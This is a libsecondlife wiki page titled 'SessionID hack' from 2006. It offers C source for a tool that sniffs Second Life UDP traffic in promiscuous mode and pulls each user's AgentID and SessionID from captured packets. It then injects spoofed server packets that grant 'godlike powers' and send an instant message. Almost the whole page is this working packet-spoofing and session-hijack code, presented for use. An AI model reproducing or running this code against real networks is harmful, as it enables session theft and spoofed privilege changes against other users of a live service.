SessionID hack
From libsecondlife
This is really rough, but it got the job done. John and I wrote this before and during SLCC, and even got to (successfully) demo it at Linden Lab. Enjoy! Ben 19:28, 19 August 2006 (EDT)
// to compile: gcc -g3 -o heresy-im heresy-im.c -lpcap -lnet #include <pcap.h> #include <libnet.h> #include <time.h> #define print_error(f,s...) {fprintf(stderr,f,s); exit(0);} char * name2key(char * uuid, char *buf); /* 4 bytes IP address */ typedef struct ip_address { u_char byte1; u_char byte2; u_char byte3; u_char byte4; } ip_address; /* IPv4 header */ typedef struct ip_header { u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits) u_char tos; // Type of service u_short tlen; // Total length u_short identification; // Identification u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits) u_char ttl; // Time to live u_char proto; // Protocol u_short crc; // Header checksum ip_address saddr; // Source address ip_address daddr; // Destination address u_int op_pad; // Option + Padding } ip_header; /* UDP header*/ typedef struct udp_header { u_short sport; // Source port u_short dport; // Destination port u_short len; // Datagram length u_short crc; // Checksum } udp_header; /* prototype of the packet handler */ void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data); libnet_t *l; char errbuf[PCAP_ERRBUF_SIZE]; int main(int argc, char **argv) { pcap_if_t *alldevs, *d; int inum, i = 0; pcap_t *adhandle; u_int netmask; char packet_filter[] = "ip and udp and udp[12:4] = 0xffff0120"; // ENDIAN struct bpf_program fcode; // Retrieve the device list if (pcap_findalldevs(&alldevs, errbuf) == -1) print_error("Error in pcap_findalldevs: %s\n", errbuf); // Print the list for (d=alldevs; d!=NULL; d=d->next) { printf("%d. %s", ++i, d->name); if (d->description) printf(" (%s)\n", d->description); else printf(" (No description available)\n"); } if (i == 0) print_error("\nNo interfaces found! Make sure WinPcap is installed.\n", NULL); // printf("Enter the interface number (1-%d):",i); //scanf("%d", &inum); /* Check if the user specified a valid adapter */ // if(inum < 1 || inum > i) print_error("\nAdapter number %d out of range.\n", inum); // Jump to the selected adapter // for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++); for (d = alldevs; d && strcasecmp(d->name,"en1"); d = d->next); // Open the adapter if ((adhandle = pcap_open_live(d->name, // name of the device 150, // portion of the packet to capture. // 65536 grants that the whole packet will be captured on all the MACs. // ... but 100 takes less CPU time 1, // promiscuous mode (nonzero means promiscuous) 1000, // read timeout errbuf // error buffer )) == NULL) print_error("\nUnable to open the adapter. %s is not supported by libpcap\n", d->name); if (d->addresses != NULL && d->addresses->netmask != NULL) // Retrieve the mask of the first address of the interface // XXX BHB may not work netmask = ((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.s_addr; else netmask = 0xffffff; l = libnet_init( LIBNET_RAW4, // injection type d->name, // network interface errbuf); // errbuf if (l == NULL) print_error("libnet_init() failed: %s\n", errbuf); // compile the filter if (pcap_compile(adhandle, &fcode, packet_filter, 1, netmask) < 0) print_error("\nUnable to compile the packet filter. Check the syntax (%s)\n",packet_filter); //set the filter if (pcap_setfilter(adhandle, &fcode) < 0) print_error("\nError setting the filter.\n",NULL); printf("\nlistening on %s...\n", d->name); // At this point, we don't need any more the device list. Free it pcap_freealldevs(alldevs); // start the capture pcap_loop(adhandle, 0, packet_handler, NULL); exit(0); } void print_uuid(u_char* uuid) { int i; for (i = 0; i < 16; i++) printf("%02x", uuid[i]); } void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { ip_header *ih; udp_header *uh; u_char* payload; u_char godpayload[57]; u_char impayload[200]; char buf[1000]; char *im_message="libsecondlife has given you a gift -- props to SLCC!"; char *im_title="x"; clock_t c; unsigned short sequence; u_int ip_len; u_long client_ip, server_ip; u_short client_port, server_port; libnet_ptag_t udp=0, ip=0; int bytes_sent=0; int b=0; /* retrieve the position of the ip header */ ih = (ip_header *)(pkt_data + 14); //length of ethernet header /* retrieve the position of the udp header */ ip_len = (ih->ver_ihl & 0xf) * 4; uh = (udp_header *)((u_char*)ih + ip_len); payload = (u_char*)uh + 8; /* convert from network byte order to host byte order */ client_port = ntohs(uh->sport); server_port = ntohs(uh->dport); // ENDIAN client_ip=ih->saddr.byte4 | ih->saddr.byte3<<8 | ih->saddr.byte2<<16 | ih->saddr.byte1<<24; server_ip=ih->daddr.byte4 | ih->daddr.byte3<<8 | ih->daddr.byte2<<16 | ih->daddr.byte1<<24; sequence=payload[2]*256+payload[3]; /* print ip addresses and udp ports */ if(ih->saddr.byte1==10) printf("%3d.%3d.%3d.%3d:%5d -> %3d.%3d.%3d.%3d:%5d ", ih->saddr.byte1, ih->saddr.byte2, ih->saddr.byte3, ih->saddr.byte4, client_port, ih->daddr.byte1, ih->daddr.byte2, ih->daddr.byte3, ih->daddr.byte4, server_port); else printf("%3d.%3d.%3d.%3d:%5d <- %3d.%3d.%3d.%3d:%5d ", ih->daddr.byte1, ih->daddr.byte2, ih->daddr.byte3, ih->daddr.byte4, server_port, ih->saddr.byte1, ih->saddr.byte2, ih->saddr.byte3, ih->saddr.byte4, client_port); printf("AgentID: "); print_uuid(payload + 44); printf(" SessionID: "); print_uuid(payload + 60); printf("\n"); // The idea is to grab the outgoing CompleteAgentMovement packet (already done since // we're in the callback), and pull the source/client ip+port out, the destination/server // ip+port, the agentid, and the sessionid to construct a GrantGodlikePowers packet that // will be sent back to the client and appear to come from the server. // GrantGodlikePowers == 8 byte (Low header), 49 byte SL payload == 57 byte UDP payload sequence++; bzero(godpayload, sizeof(godpayload)); godpayload[0]=0x00; // Reliable // 1..3 = 0 godpayload[2]=sequence>>8; godpayload[3]=sequence&0xff; godpayload[4]=0xFF; godpayload[5]=0xFF; godpayload[6]=0x01; godpayload[7]=0x38; // 0x0138 = GrantGodlikePowers godpayload[8]=0xFF; // GodLevel = 256 // 9 .. 24 = 0 (UUID 0) memcpy(godpayload+25,payload+44,32); // copy agentid, sessionid // We'll need the client (source) ip/port, server (destination) ip/port, possibly the // sequence number, the agentid, and the sessionid from the captured packet above. // GodLevel should be 255 and Token can be anything, zeroes work. Packet needs to be // written to the wire and that's about it udp = libnet_build_udp( client_port, /* destination port */ server_port, /* source port */ LIBNET_UDP_H + sizeof(godpayload), /* packet length */ 0, /* checksum */ godpayload, /* payload */ sizeof(godpayload), /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (udp == -1) print_error("Can't build UDP payload: %s\n", libnet_geterror(l)); ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + sizeof(godpayload), /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ client_ip, server_ip, NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ // ip); /* libnet id */ 0); /* libnet id */ if (ip == -1) print_error( "Can't build IP header: %s\n", libnet_geterror(l)); bytes_sent=libnet_write(l); libnet_clear_packet(l); /* print ip addresses and udp ports */ fprintf(stderr,"Sent a %d-byte packet from %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n", bytes_sent, ih->daddr.byte1, ih->daddr.byte2, ih->daddr.byte3, ih->daddr.byte4, server_port, ih->saddr.byte1, ih->saddr.byte2, ih->saddr.byte3, ih->saddr.byte4, client_port ); c=time(NULL); strcpy(tbuf,ctime(&c)); tbuf[strlen(tbuf)-1]='\0'; fprintf(stderr,"%s: %s\n",tbuf,name2key(payload+44,buf)); bzero(impayload, sizeof(impayload)); b=2; sequence++; impayload[b++]=sequence>>8; impayload[b++]=sequence&0xff; impayload[b++]=0xFF; impayload[b++]=0xFF; impayload[b++]=0x01; impayload[b++]=0x2e; // 0x012e = ImprovedInstantMessage b+=16; // ID == 8..23 memcpy(impayload+b, payload+44, 16); // AgentID = 24 .. 39 b+=16; b++; // 40 = Offline (U8) b+=4; // 41-44 = Timestamp (U32) impayload[b++]=(unsigned char)strlen(im_message)+1; b++; // 45,46 = Length strcpy(impayload+b, im_message); b+=strlen(im_message)+1; b+=16; // RegionID (LLUUID / 1) zeroes b+=16; // FromAgentID (LLUUID / 1) agentid b++; // Dialog (U8 / 1) 0 b+=2; // BinaryBucket (Variable / 2) 0x00 0x00 b+=4; // ParentEstateID (U32 / 1) 0000 impayload[b++]=strlen(im_title)+1; b++; strcpy(impayload+b,im_title); b+=strlen(im_title)+1; b+=12; // Position (LLVector3 / 1) 12 udp = libnet_build_udp( client_port, /* destination port */ server_port, /* source port */ LIBNET_UDP_H + b, /* packet length */ 0, /* checksum */ impayload, /* payload */ b, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (udp == -1) print_error("Can't build UDP payload: %s\n", libnet_geterror(l)); ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + b, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ client_ip, server_ip, NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ // ip); /* libnet id */ 0); /* libnet id */ if (ip == -1) print_error( "Can't build IP header: %s\n", libnet_geterror(l)); bytes_sent=libnet_write(l); libnet_clear_packet(l); } char * name2key(char * uuid, char *buf) { char linebuf[100],uuidbuf[40]; FILE *fp=fopen("name2key.csv","r"); if(!fp) { printf("Error opening name2key.csv!\n"); exit(0); } sprintf(uuidbuf,"%02hhx%02hhx%02hhx%02hhx-%02hhx%02hhx-%02hhx%02hhx-%02hhx%02hhx-" "%02hhx%02hhx%02hhx%02hhx%02hhx%02hhx", uuid[0], uuid[1], uuid[2], uuid[3], uuid[4], uuid[5], uuid[6], uuid[7], uuid[8], uuid[9], uuid[10], uuid[11], uuid[12], uuid[13], uuid[14], uuid[15]); while(!feof(fp)) { fgets(linebuf,sizeof(linebuf),fp); if(!strncmp(linebuf,uuidbuf,strlen(uuidbuf))) { strcpy(buf,linebuf+37); buf[strlen(buf)-1]='\0'; fclose(fp); return buf; } } strcpy(buf,"(unknown)"); fclose(fp); return buf; }